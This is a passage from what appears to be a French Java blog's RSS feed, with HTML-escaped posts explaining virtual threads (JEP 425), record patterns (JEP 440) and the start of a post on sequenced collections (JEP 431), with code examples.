&lt;h2 id=&quot;compléments_sur_lapi&quot;&gt;Compléments sur l&amp;#8217;API&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Il est possible de savoir si nous sommes dans un thread virtuel ou non. Nous avons la méthode &lt;code&gt;Thread.isVirtual()&lt;/code&gt; qui renvoie un booléen.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les méthodes &lt;code&gt;Thread.join()&lt;/code&gt; et &lt;code&gt;Thread.sleep()&lt;/code&gt; possède une surcharge prenant en paramètre une instance de &lt;code&gt;Duration&lt;/code&gt;.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;try (var executor = Executors.newVirtualThreadPerTaskExecutor()) {
    IntStream.range(0, 10_000).forEach(i -&amp;gt; {
        executor.submit(() -&amp;gt; {
            Thread.sleep(java.time.Duration.ofSeconds(1));
            System.out.println(&quot; &quot; + i + &quot; : &quot; + Thread.currentThread());
            return i;
        });
    });
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;A noter que dans l&amp;#8217;exemple précédent, nous venons de créer 10 000 threads virtuels.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;La méthode &lt;code&gt;Thread.getId()&lt;/code&gt; est dépréciée. Il faut passer par la méthode &lt;code&gt;Thread.threadId()&lt;/code&gt;. Ce dernier renvoie un identifiant.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;La raison est que la méthode &lt;code&gt;getId()&lt;/code&gt; n&amp;#8217;est pas une méthode finale donc il est possible de la surcharger.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;La méthode &lt;code&gt;Thread.getAllStackTraces()&lt;/code&gt; retourne une map de toutes les threads plateforme et non tous les threads comme son nom le laisse penser.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Cela s&amp;#8217;explique car nous pouvons avoir des millions de threads virtuels donc il n&amp;#8217;y a pas de sens de retourner une map aussi grosse.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;différence_sur_lapi&quot;&gt;Différence sur l&amp;#8217;API&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Les threads virtuels sont forcément des threads daemon. La méthode &lt;code&gt;Thread.setDaemon()&lt;/code&gt; n&amp;#8217;a pas d&amp;#8217;effet.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Pensez à cela pour les conditions d&amp;#8217;arrêt de la JVM. En effet, il faut au moins un thread plateforme sinon la JVM s&amp;#8217;arrête.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Dans le même style, la priorité est fixée à Thread.NORM_PRIORITY. La méthode &lt;code&gt;Thread.setPriority()&lt;/code&gt; n&amp;#8217;a pas d&amp;#8217;effet.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Les méthodes &lt;code&gt;stop(), suspend() et resume()&lt;/code&gt; lèvent une exception lors de leur invocation si c&amp;#8217;est un thread virtuel.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Pour rappel, ces méthodes sont déjà dépréciés au moins depuis le JDK 6.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Dans le même sens de l&amp;#8217;histoire, il n&amp;#8217;y a pas de permissions si le &lt;code&gt;SecurityManager&lt;/code&gt; est activé.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Pour rappel, ce dernier est déprécié pour suppression depuis le JDK 17. Plus d&amp;#8217;informations, dans ce billet &lt;a href=&quot;/2021/09/JDK17-Nouveautes.html&quot;&gt;JDK 17 Nouveautés&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;nouveautés&quot;&gt;Nouveautés&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;compatible_avec_les_variables_thread_local&quot;&gt;Compatible avec les variables Thread-local&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les threads virtuels supportent maintenant les variables thread-local (&lt;code&gt;ThreadLocal&lt;/code&gt;).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il faudra néanmoins faire attention. Le support est présent uniquement pour faciliter la migration et le support des librairies vers les threads virtuels. C&amp;#8217;est à dire que cela reste à éviter au maximum vis à vis des contraintes.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/avertissement.png&quot; alt=&quot;avertissement&quot;&gt;&lt;/span&gt;Ce qu&amp;#8217;il faut absolument éviter, c&amp;#8217;est de faire une réserve (&quot;un pool&quot;) de thread.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le mieux est d&amp;#8217;utiliser les &quot;Scoped valued&quot; JEP 429, mais cela est une autre JEP.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Une propriété système &lt;code&gt;jdk.traceVirtualThreadLocals&lt;/code&gt; permet de tracer toute utilisation de &lt;code&gt;ThreadLocal&lt;/code&gt; dans les threads virtuels. Par défaut, la valeur est &lt;code&gt;false&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;concurrence&quot;&gt;Concurrence&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Là encore, pour faciliter la transition, notamment avec l&amp;#8217;API des Executeurs, il existe maintenant &lt;code&gt;Executors.newVirtualThreadPerTaskExecutor()&lt;/code&gt; qui permet d&amp;#8217;avoir un thread virtuel par tâche.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/425&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 425: Virtual Threads&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 440, Records Pattern</title>
      <link>https://www.lilian-benoit.fr/2023/12/JEP-440-Records-Pattern.html</link>
      <pubDate>dim., 3 déc. 2023 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2023/12/JEP-440-Records-Pattern.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#principe&quot;&gt;Principe&lt;/a&gt;
&lt;ul class=&quot;sectlevel2&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#pour_aller_plus_loin&quot;&gt;Pour aller plus loin&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#exhaustivité_du_switch&quot;&gt;Exhaustivité du switch&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Le principe est l&amp;#8217;utilisation des motifs introduits par filtrage par motif pour &lt;code&gt;instanceof&lt;/code&gt;, mais de l&amp;#8217;appliquer pour les enregistrements.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Pour plus d&amp;#8217;informations sur le filtrage par motif pour &lt;code&gt;instanceof&lt;/code&gt;, je vous conseille cette article &lt;a href=&quot;/2021/03/JDK16-Nouveautes.html#394_pattern_matching_for_instanceof&quot;&gt;JEP 394 - Pattern Matching for instanceof&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Cette fonctionnalité a connu deux aperçu&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/405&quot;&gt;JEP 405&lt;/a&gt; inclus dans le JDK 19&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/432&quot;&gt;JEP 432&lt;/a&gt; inclus dans le JDK 20&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, c&amp;#8217;est bien une fonctionnalité standard qui sera inclus dans le JDK 21.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;principe&quot;&gt;Principe&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est d&amp;#8217;écrire du code utilisant les deux fonctionnalités précédentes : Les enregistrements (Record) et les motifs (Patterns).&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Prenons la définition de l&amp;#8217;enregistrement &lt;code&gt;Point&lt;/code&gt; suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Point(int x, int y) {}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;D&amp;#8217;ores et déjà, nous pouvons écrire le code suivant avec le filtrage par motif pour &lt;code&gt;instanceof&lt;/code&gt;:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void afficheSomme(Object o) {
    if (o instanceof Point p) {
        int a = p.x();
        int b = p.y();
        System.out.println(a + b);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Les classes classiques sont basées sur le principe de l&amp;#8217;encapsulation. C&amp;#8217;est à dire que nous connaissons le contrat de services via l&amp;#8217;interface mais nous ne connaissons pas le détail de l&amp;#8217;implémentation.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;A l&amp;#8217;inverse, les enregistrements (Record) mettent en avant leur structure interne. L&amp;#8217;enregistrement &lt;code&gt;Point&lt;/code&gt; est composé d&amp;#8217;une valeur x et d&amp;#8217;une valeur y.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par ce principe, nous allons pouvoir écrire l&amp;#8217;instruction &lt;code&gt;instanceof&lt;/code&gt; comme ceci :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;void afficheSomme(Object o) {
    if (o instanceof Point(int a, int b)) {
        System.out.println(a + b);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect2&quot;&gt;
&lt;h3 id=&quot;pour_aller_plus_loin&quot;&gt;Pour aller plus loin&lt;/h3&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons manipuler des enregistrements plus complexe. Par exemple, prenons un enregistrement &lt;code&gt;Rectangle&lt;/code&gt; qui est composé de deux &lt;code&gt;Point&lt;/code&gt;:&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;record Rectangle(Point hautGauche, Point basDroit) {}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Par conséquent, nous pouvons écrire le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void afficheSommePointHautGauche(Rectangle r) {
    if (r instanceof Rectangle(Point hg, Point bd)) {
         System.out.println(hg.x() + hg.y());
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce qui nous intéresse dans le code est le point haut à gauche, donc nous pouvons ignorer le second point.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void afficheSommePointHautGauche(Rectangle r) {
    if (r instanceof Rectangle(Point hg, var bd)) {
         System.out.println(hg.x() + hg.y());
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;En revanche, nous savons qu&amp;#8217;un &lt;code&gt;Point&lt;/code&gt; contient deux valeurs. Par conséquent, nous pouvons appliquer le même principe.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;static void afficheSommePointHautGauche(Rectangle r) {
    if (r instanceof Rectangle(Point(int a, int b) hg, var bd)) {
         System.out.println(a + b);
    }
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;exhaustivité_du_switch&quot;&gt;Exhaustivité du switch&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Prenons les définitions suivantes pour &lt;code&gt;Forme&lt;/code&gt;, &lt;code&gt;Triangle&lt;/code&gt;, &lt;code&gt;Rectangle&lt;/code&gt; et &lt;code&gt;Paire&lt;/code&gt; :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;sealed interface Forme permits Triangle, Rectangle {}
final class Triangle implements Forme {}
final class Rectangle implements Forme {}
record Paire&amp;lt;T&amp;gt;(T x, T y) {}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous pouvons définir une variable comme celle-ci&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;Paire&amp;lt;Forme&amp;gt; p1 = ...;&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;interface &lt;code&gt;Forme&lt;/code&gt; est une interface scellée. Cela peut être soit une classe &lt;code&gt;Triangle&lt;/code&gt;, soit une classe de &lt;code&gt;Rectangle&lt;/code&gt;. Nous pouvons écrire l&amp;#8217;instruction &lt;code&gt;switch&lt;/code&gt; suivante :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;switch (p1) {
    case Paire&amp;lt;Forme&amp;gt;(Triangle  p, Forme s) -&amp;gt; ...
    case Paire&amp;lt;Forme&amp;gt;(Rectangle p, Forme s) -&amp;gt; ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ci-dessus, l&amp;#8217;ensemble des cas de l&amp;#8217;instruction &lt;code&gt;switch&lt;/code&gt; est défini. Tous les combinaisons possibles sont traitées.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, nous pouvons aussi écrire le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;switch (p1) {
    case Paire&amp;lt;Forme&amp;gt;(Triangle p, Forme s) -&amp;gt; ...
    case Paire&amp;lt;Forme&amp;gt;(Rectangle p, Triangle s) -&amp;gt; ...
    case Paire&amp;lt;Forme&amp;gt;(Rectangle p, Rectangle s) -&amp;gt; ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Nous avons simplement décomposé le deuxième cas du &lt;code&gt;switch&lt;/code&gt; (&lt;code&gt;Rectangle&lt;/code&gt; p, &lt;code&gt;Forme&lt;/code&gt; s) avec les différents cas possibles de &lt;code&gt;Forme&lt;/code&gt; : la classe &lt;code&gt;Triangle&lt;/code&gt; et la classe &lt;code&gt;Rectangle&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Maintenant, regardons le code suivant :&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;switch (p2) { // Erreur !
    case Paire&amp;lt;Forme&amp;gt;(Triangle p, Rectangle s) -&amp;gt; ...
    case Paire&amp;lt;Forme&amp;gt;(Rectangle p, Triangle s) -&amp;gt; ...
    case Paire&amp;lt;Forme&amp;gt;(Forme p, Triangle s) -&amp;gt; ...
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Ce dernier provoque une erreur de compilation car il manque le second cas avec le premier paramètre de type &lt;code&gt;Forme&lt;/code&gt; et le second paramètre de type &lt;code&gt;Rectangle&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Là encore, le compilateur nous aide pour traiter l&amp;#8217;exhaustivité des cas pour l&amp;#8217;écriture des &lt;code&gt;switch&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau-astuce&quot;&gt;
&lt;p&gt;&lt;span class=&quot;image panneau&quot;&gt;&lt;img src=&quot;/resources/img/main/astuce.png&quot; alt=&quot;astuce&quot;&gt;&lt;/span&gt;Cela est très utile pour la mise en place ou si on ajoute une nouvelle classe dérivée à l&amp;#8217;interface scellée &lt;code&gt;Forme&lt;/code&gt; comme la classe &lt;code&gt;Cercle&lt;/code&gt; par exemple. Le compilateur signalera tous les endroits où des cas ne sont pas traités.&lt;/p&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;références&quot;&gt;Références&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;ulist&quot;&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/405&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 405: Record Pattern (Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/432&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 432: Record Pattern (Second Preview)&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://openjdk.java.net/jeps/440&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;JEP 440: Record Pattern&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
	</description>
    </item>
    <item>
      <title>JEP 431, Sequenced Collections</title>
      <link>https://www.lilian-benoit.fr/2023/11/JEP-431-Sequenced-Collections.html</link>
      <pubDate>dim., 26 nov. 2023 00:00:00 +0100</pubDate>
      <guid isPermaLink="false">2023/11/JEP-431-Sequenced-Collections.html</guid>
      	<description>
	&lt;div id=&quot;preamble&quot;&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div id=&quot;toc&quot; class=&quot;toc&quot;&gt;
&lt;div id=&quot;toctitle&quot; class=&quot;title&quot;&gt;Table of Contents&lt;/div&gt;
&lt;ul class=&quot;sectlevel1&quot;&gt;
&lt;li&gt;&lt;a href=&quot;#contexte&quot;&gt;Contexte&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#principe&quot;&gt;Principe&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#implémentation&quot;&gt;Implémentation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#risques&quot;&gt;Risques&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;#références&quot;&gt;Références&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;contexte&quot;&gt;Contexte&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;L&amp;#8217;objectif est d&amp;#8217;avoir des interfaces qui permettent d&amp;#8217;avoir des collections gérant l&amp;#8217;ordonnancement.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Actuellement, des méthodes existent sur certaines classes mais n&amp;#8217;ont pas forcément le même nom. Cela ne permet pas de manipuler simplement ces objets.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;          | Premier élément   | Dernier élément
#---------+-------------------+-----------------------------
List 	  | list.get(0)       | list.get(list.size() - 1)
Deque 	  | deque.getFirst()  | deque.getLast()
SortedSet | sortedSet.first() | sortedSet.last()
#---------+-------------------+-----------------------------&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;sect1&quot;&gt;
&lt;h2 id=&quot;principe&quot;&gt;Principe&lt;/h2&gt;
&lt;div class=&quot;sectionbody&quot;&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Pour atteindre cet objectif, une API unifiée a été mis en place. Pour cela, l&amp;#8217;interface &lt;code&gt;SequencedCollection&lt;/code&gt; a été introduite.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;interface SequencedCollection&amp;lt;E&amp;gt; extends Collection&amp;lt;E&amp;gt; {
    // new method
    SequencedCollection&amp;lt;E&amp;gt; reversed();
    // methods promoted from Deque
    void addFirst(E);
    void addLast(E);
    E getFirst();
    E getLast();
    E removeFirst();
    E removeLast();
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;On peut remarquer que la manière de récupérer le premier et le dernier est normalisée par les méthodes &lt;code&gt;getFirst()&lt;/code&gt; et &lt;code&gt;getLast()&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Il est intéressant de noter la présence de la méthode &lt;code&gt;reversed()&lt;/code&gt;. Elle permet d&amp;#8217;obtenir simplement la collection dans l&amp;#8217;ordre inversé.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph&quot;&gt;
&lt;p&gt;Au niveau des ensembles &lt;code&gt;Set&lt;/code&gt;, nous avons ensuite l&amp;#8217;interface &lt;code&gt;SequencedSet&lt;/code&gt;.&lt;/p&gt;
&lt;/div&gt;
&lt;div class=&quot;listingblock&quot;&gt;
&lt;div class=&quot;content&quot;&gt;
&lt;pre class=&quot;prettyprint highlight&quot;&gt;&lt;code data-lang=&quot;java&quot;&gt;interface SequencedSet&amp;lt;E&amp;gt; extends Set&amp;lt;E&amp;gt;, SequencedCollection&amp;lt;E&amp;gt; {
    SequencedSet&amp;lt;E&amp;gt; reversed();    // surcharge covariante
}&lt;/code&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;paragraph panneau&quot;&gt;
